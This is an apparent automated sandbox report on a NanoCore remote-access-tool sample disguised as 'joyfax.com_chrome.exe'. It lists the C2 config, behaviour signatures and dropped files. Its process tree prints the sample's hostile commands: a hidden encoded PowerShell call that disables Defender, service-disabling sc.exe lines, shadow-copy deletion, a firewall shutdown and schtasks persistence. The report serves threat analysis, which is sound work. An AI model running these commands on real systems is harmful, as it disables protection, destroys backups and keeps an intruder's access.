Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/10/2026, 15:21

General

  • Target
    joyfax.com_chrome.exe
  • Size 57KB
  • Sample261018-srns4set7k
  • SHA256 a2034614ebfa8fc4ce3178498de86e5bc107e234e88bb73f0547e5f63473a7a7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://joyfax.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://joyfax.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:6136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5668
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4136
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5476
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:712
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3028
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2452
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5896
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:6132
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5788
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3784
      • C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe"
        3⤵
          PID:4524
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:5656
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:984
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:3152
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious use of AdjustPrivilegeToken
        PID:5180
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:1252
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5896
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5616
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:1584
        • C:\Windows\System32\vssadmin.exe
          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:3168
        • C:\Windows\System32\wbem\WMIC.exe
          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
          2⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          PID:3964
        • C:\Windows\System32\net.exe
          "C:\Windows\System32\net.exe" stop srservice
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4664
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop srservice
            3⤵
              PID:204
          • C:\Windows\System32\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
            2⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:4492
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:284
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:5752
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Reads the TCP/IP host and domain name from the registry
              PID:4680
          • C:\Windows\System32\sc.exe
            "C:\Windows\System32\sc.exe" config i8042prt start= disabled
            2⤵
            • Launches sc.exe
            PID:2916
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2460
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:2076
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2352
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Discovers running processes
              PID:5872
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5300
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:2296
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2624
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3508
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:4628
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4592
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:5516
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3704
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:3076
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2124
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:808
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop i8042prt
                2⤵
                • Launches sc.exe
                PID:5104
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4056
            • C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
              C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
              1⤵
                PID:5512
              • C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\joyfax.com_chrome.exe
                1⤵
                  PID:5704

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      scr_20261018_162334.jpg

                      • Path C:\ProgramData\SysUpdate\Scr\scr_20261018_162334.jpg
                      • Size 77KB
                      • SHA256 71e123a47f016a403c6b73578050ec783d641976e7bea74944382ad58cdae5d9
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_2.pdf

                      • Path C:\SystemVolumeInformation\doc_2.pdf
                      • Size 76KB
                      • SHA256 041ae9312cd451e44dfc0ad1b4fe341960ce2163055cba1e3fc250d2d7409aec
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      joyfax.com_chrome.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\joyfax.com_chrome.exe.log
                      • Size 660B
                      • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_w24l3ats.gg4.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w24l3ats.gg4.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 242B
                      • SHA256 31637d5e88b2fb55574d741966f699641e7f421c52d0020a283ef9ba23a2c0ee
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 243B
                      • SHA256 d5685828740cd9e486b7e0d88e60686e34c3d873dc22fed5a6edcaa8942c63d4
                      • MD5 SHA1 SHA512 TLSH

                      temp_steal.log

                      • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                      • Size 103KB
                      • SHA256 4dc35e090a853e0a2c77599e9d4726555e570c584456aa7089aa84900bf82d53
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      DecryptAllFiles.exe

                      • Path C:\Users\Admin\Desktop\DecryptAllFiles.exe
                      • Size 57KB
                      • SHA256 a2034614ebfa8fc4ce3178498de86e5bc107e234e88bb73f0547e5f63473a7a7
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      stolen_data_here.txt

                      • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                      • Size 103KB
                      • SHA256 370cc42531a407af6f256295fcc8ecc2e869ae9a562fa2a58ec68de52524b9fa
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      invoice_1.pdf

                      • Path C:\Users\Admin\Documents\invoice_1.pdf
                      • Size 76KB
                      • SHA256 9d1170d45f6864627b59935688b35b03b356fc6b2cbd340c4717f2321d978242
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      READ_ME_NANOCORE.txt

                      • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                      • Size 145B
                      • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                      • MD5 SHA1 SHA512 TLSH

                      RANSOM_NOTE.txt

                      • Path F:\RANSOM_NOTE.txt
                      • Size 177B
                      • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                      • MD5 SHA1 SHA512 TLSH

                      memory/1584-2232-0x000001EBB15C0000-0x000001EBB15C1000-memory.dmp

                      memory/5668-95-0x000002EEC3AB0000-0x000002EEC3AD2000-memory.dmp

                      memory/6136-0-0x0000000000EB0000-0x0000000000EC4000-memory.dmp

                      memory/6136-326-0x000000001BD30000-0x000000001BD40000-memory.dmp

                      memory/6136-1-0x000000001BD30000-0x000000001BD40000-memory.dmp